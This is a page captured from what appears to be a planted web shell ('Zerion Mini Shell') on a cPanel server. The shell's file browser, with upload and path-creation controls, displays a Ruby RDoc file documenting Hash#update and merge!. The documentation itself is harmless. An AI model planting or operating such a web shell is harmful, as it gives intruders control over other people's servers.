%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Hash/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Hash/update-i.ri

U:RDoc::AnyMethod[iI"update:ETI"Hash#update;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[
I"LAdds the contents of _other_hash_ to _hsh_.  If no block is specified, ;TI"Fentries with duplicate keys are overwritten with the values from ;TI"N_other_hash_, otherwise the value of each duplicate key is determined by ;TI"Icalling the block with the key, its value in _hsh_ and its value in ;TI"_other_hash_.;To:RDoc::Markup::BlankLineo:RDoc::Markup::Verbatim;	[
I"%h1 = { "a" => 100, "b" => 200 }
;TI"%h2 = { "b" => 254, "c" => 300 }
;TI"8h1.merge!(h2)   #=> {"a"=>100, "b"=>254, "c"=>300}
;TI"
;TI"%h1 = { "a" => 100, "b" => 200 }
;TI"%h2 = { "b" => 254, "c" => 300 }
;TI"(h1.merge!(h2) { |key, v1, v2| v1 }
;TI"7                #=> {"a"=>100, "b"=>200, "c"=>300};T:@format0:
@fileI"hash.c;T:0@omit_headings_from_table_of_contents_below0I"{hsh.update(other_hash)                                 -> hsh
hsh.update(other_hash){|key, oldval, newval| block}    -> hsh;T0[I"	(p1);T@FI"	Hash;TcRDoc::NormalClass00

Zerion Mini Shell 1.0